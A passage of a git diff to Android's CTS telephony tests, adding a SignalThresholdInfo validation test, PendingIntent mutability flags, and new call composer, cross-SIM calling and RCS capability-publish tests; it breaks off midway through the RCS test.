diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+ private static final String TAG = "SignalThresholdInfo";
+
+ // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+ // used to construct thresholds array during test.
+ private static final int[][] VALID_PARAMS = {
+ {AccessNetworkConstants.AccessNetworkType.GERAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+ {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+ -100},
+ {AccessNetworkConstants.AccessNetworkType.UTRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+ {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ -100},
+ {AccessNetworkConstants.AccessNetworkType.NGRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ -100},
+ };
+
+ // Map of SignalMeasurementType to invalid thresholds edge values.
+ // Each invalid value will be constructed with a thresholds array to test separately.
+ private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+ List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+ List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+ List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+ List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+ List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+ List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+ );
+
+ // Map of RAN to allowed SignalMeasurementType set.
+ // RAN/TYPE pair will be used to verify the validation of the combo
+ private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+ AccessNetworkConstants.AccessNetworkType.GERAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+ AccessNetworkConstants.AccessNetworkType.CDMA2000,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+ AccessNetworkConstants.AccessNetworkType.UTRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+ AccessNetworkConstants.AccessNetworkType.EUTRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+ AccessNetworkConstants.AccessNetworkType.NGRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+ );
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ }
+
+ @Test
+ public void testConstructor_validParams() {
+ for (int[] params : VALID_PARAMS) {
+ final int ran = params[0];
+ final int signalMeasurementType = params[1];
+ final int[] thresholds = new int[]{params[2]};
+
+ SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+
+ assertEquals(ran, sti.getRadioAccessNetworkType());
+ assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+ assertThat(thresholds).isEqualTo(sti.getThresholds());
+ }
+ }
+
+ @Test
+ public void testConstructor_invalidSignalMeasurementType() {
+ final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+ for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+ buildWithInvalidParameterThrowException(
+ AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+ new int[]{-1});
+ }
+ }
+
+ @Test
+ public void testConstructor_nullThresholds() {
+ buildWithInvalidParameterThrowException(
+ AccessNetworkConstants.AccessNetworkType.GERAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+ }
+
+ @Test
+ public void testConstructor_invalidRanMeasurementTypeCombo() {
+ for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+ Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+ for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+ type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+ if (!validTypes.contains(type)) {
+ buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testConstructor_thresholdsOutOfRange() {
+ for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+ List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+ for (int threshold : invalidThresholds) {
+ buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+ signalMeasurementType, new int[]{threshold});
+ }
+ }
+ }
+
+ @Test
+ public void testParcel() {
+ for (int[] params : VALID_PARAMS) {
+ final int ran = params[0];
+ final int signalMeasurementType = params[1];
+ final int[] thresholds = new int[]{params[2]};
+
+ SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+ Parcel p = Parcel.obtain();
+ sti.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+ assertThat(newSt).isEqualTo(sti);
+ }
+
+ }
+
+ @Test
+ public void testEquals() {
+ final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+ final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+ SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholdsDisordered)
+ .build();
+
+ assertTrue(sti1.equals(sti1));
+ assertFalse(sti1.equals(sti2));
+ assertTrue(sti1.equals(sti3));
+ assertTrue(sti1.equals(sti4));
+ assertFalse(sti1.equals("sti1"));
+ }
+
+ private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+ int[] thresholds) {
+ try {
+ new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+ fail("Exception expected");
+ } catch (IllegalArgumentException | NullPointerException expected) {
+ }
+ }
+
+ /**
+ * Return a possible valid RAN value for the measurement type. This is used to prevent the
+ * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+ */
+ private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+ switch (type) {
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+ return AccessNetworkConstants.AccessNetworkType.GERAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+ return AccessNetworkConstants.AccessNetworkType.UTRAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+ return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+ return AccessNetworkConstants.AccessNetworkType.NGRAN;
+ default:
+ return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 8761739..0013ea7 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -629,9 +629,9 @@
mReceivedDataSms = false;
sMessageId = 0L;
mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
/**
@@ -647,8 +647,8 @@
ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
for (int i = 0; i < numPartsSent; i++) {
- sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
- deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+ sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+ deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
Intent intent = new Intent(context, SmsReceiver.class);
intent.setAction(MESSAGE_SENT_ACTION);
return PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
Intent intent = new Intent(context, SmsReceiver.class);
intent.setAction(MESSAGE_DELIVERED_ACTION);
return PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index ab3c97d..982162a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -2216,6 +2216,13 @@
assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(
+ TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
tm -> tm.getCallComposerStatus());
@@ -2232,6 +2239,13 @@
status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
tm -> tm.getCallComposerStatus());
assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(
+ TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
}
}
@@ -3212,7 +3226,8 @@
@Test
public void testCdmaRoamingMode() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
return;
}
@@ -3238,7 +3253,8 @@
@Test
public void testCdmaSubscriptionMode() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
return;
}
@@ -3259,7 +3275,7 @@
// Reset state
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tm -> tm.setCdmaRoamingMode(cdmaSubscriptionMode));
+ tm -> tm.setCdmaSubscriptionMode(cdmaSubscriptionMode));
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index b702805..59654f1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -24,6 +24,7 @@
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
+import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.function.BooleanSupplier;
@@ -68,6 +69,25 @@
return simOperator != null && simOperator.equals(operator);
}
+ public static String parseErrorCodeToString(int errorCode,
+ Class<?> containingClass, String prefix) {
+ for (Field field : containingClass.getDeclaredFields()) {
+ if (field.getName().startsWith(prefix)) {
+ if (field.getType() == Integer.TYPE) {
+ field.setAccessible(true);
+ try {
+ if (field.getInt(null) == errorCode) {
+ return field.getName();
+ }
+ } catch (IllegalAccessException e) {
+ continue;
+ }
+ }
+ }
+ }
+ return String.format("??%d??", errorCode);
+ }
+
/**
* Executes the given shell command and returns the output in a string. Note that even
* if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index 9afa104..bb3a9ea 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -45,6 +45,19 @@
}
@Test
+ public void testDownloadableSubscriptionBuilder() {
+ final String confirmationCode = "fake confirmation code";
+ DownloadableSubscription downloadableSubscription =
+ new DownloadableSubscription.Builder(ACTIVATION_CODE)
+ .setConfirmationCode(confirmationCode)
+ .build();
+
+ assertNotNull(downloadableSubscription);
+ assertEquals(ACTIVATION_CODE, downloadableSubscription.getEncodedActivationCode());
+ assertEquals(confirmationCode, downloadableSubscription.getConfirmationCode());
+ }
+
+ @Test
public void testGetEncodedActivationCode() {
assertNotNull(mDownloadableSubscription);
assertEquals(ACTIVATION_CODE, mDownloadableSubscription.getEncodedActivationCode());
@@ -72,15 +85,15 @@
// write object to parcel
Parcel parcel = Parcel.obtain();
- mDownloadableSubscription.writeToParcel(parcel,
- mDownloadableSubscription.describeContents());
+ mDownloadableSubscription.writeToParcel(
+ parcel, mDownloadableSubscription.describeContents());
// extract object from parcel
parcel.setDataPosition(0 /* pos */);
DownloadableSubscription downloadableSubscriptionFromParcel =
DownloadableSubscription.CREATOR.createFromParcel(parcel);
- assertEquals(ACTIVATION_CODE,
- downloadableSubscriptionFromParcel.getEncodedActivationCode());
+ assertEquals(
+ ACTIVATION_CODE, downloadableSubscriptionFromParcel.getEncodedActivationCode());
// There is no way to set DownloadableSubscription#confirmationCode from here because
// Android P doesn't allow accessing a platform class's @hide methods or private fields
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
private PendingIntent createCallbackIntent(String action) {
Intent intent = new Intent(action);
return PendingIntent.getBroadcast(
- getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
getApplicationContext(),
0 /* requestCode */,
resolutionActivityIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
// add pending intent to extra
Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
private PendingIntent createCallbackIntent(String action) {
Intent intent = new Intent(action);
return PendingIntent.getBroadcast(
- getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..62f4fc8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
}
/**
+ * Set the cross SIM setting and ensure it is queried successfully.
+ * Also ensure the ContentObserver is triggered properly.
+ */
+ @Test
+ public void testCrossSIMSetting() throws Exception {
+ PersistableBundle bundle = new PersistableBundle();
+ // Do not worry about provisioning for this test
+ bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+ bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+ boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+ mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabledByUser, ImsException.class,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setCrossSimCallingEnabled(!isEnabled), ImsException.class,
+ "android.permission.MODIFY_PHONE_STATE");
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+ mMmTelManager,
+ ImsMmTelManager::isCrossSimCallingEnabledByUser,
+ ImsException.class,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ assertEquals("isCrossSimCallingEnabledByUser did not match"
+ + "value set by setCrossSimCallingEnabled",
+ !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setCrossSimCallingEnabled(isEnabled),
+ ImsException.class,
+ "android.permission.MODIFY_PHONE_STATE");
+ overrideCarrierConfig(null);
+ }
+
+ /**
* Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
* ContentObserver is triggered properly.
*/
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 3d3afd9..2a7595d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -52,6 +52,7 @@
import android.telephony.ims.feature.ImsFeature;
import android.telephony.ims.feature.MmTelFeature;
import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
import android.telephony.ims.stub.ImsConfigImplBase;
import android.telephony.ims.stub.ImsFeatureConfiguration;
import android.telephony.ims.stub.ImsRegistrationImplBase;
@@ -859,6 +860,164 @@
}
}
+ @Test
+ public void testRcsDeviceCapabilitiesPublish() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ // Trigger carrier config changed
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+ overrideCarrierConfig(bundle);
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ if (imsManager == null) {
+ fail("Cannot find IMS service");
+ }
+
+ ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+ RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+ // Connect to device ImsService with MmTel feature and RCS feature
+ triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+ TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+ .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+ // Register the callback to listen to the publish state changed
+ LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+ new RcsUceAdapter.OnPublishStateChangedListener() {
+ public void onPublishStateChange(int state) {
+ publishStateQueue.offer(state);
+ }
+ };
+
+ // Another publish register callback to verify the API
+ // RcsUceAdapter#removeOnPublishStateChangedListener
+ LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+ new RcsUceAdapter.OnPublishStateChangedListener() {
+ public void onPublishStateChange(int state) {
+ unregisteredPublishStateQueue.offer(state);
+ }
+ };
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ automan.adoptShellPermissionIdentity();
+ // register two publish state callback
+ uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+ publishStateCallback);
+ uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+ unregisteredPublishStateCallback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Verify receiving the publish state callback immediately after registering the callback.
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(publishStateQueue));
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(unregisteredPublishStateQueue));
+ publishStateQueue.clear();
+ unregisteredPublishStateQueue.clear();
+
+ // Verify the value of getting from the API is NOT_PUBLISHED
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Setup the operation of the publish request.
+ capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+ int networkResp = 200;
+ String reason = "";
+ listener.onPublish();
+ cb.onNetworkResponse(networkResp, reason);
+ });
+
+ // Unregister the publish state callback
+ try {
+ automan.adoptShellPermissionIdentity();
+ uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // IMS registers
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+ // Framework should trigger the device capabilities publish when IMS is registered.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+ publishStateQueue.clear();
+
+ // The unregistered callback should not be called.
+ if (unregisteredPublishStateQueue.poll() != null) {
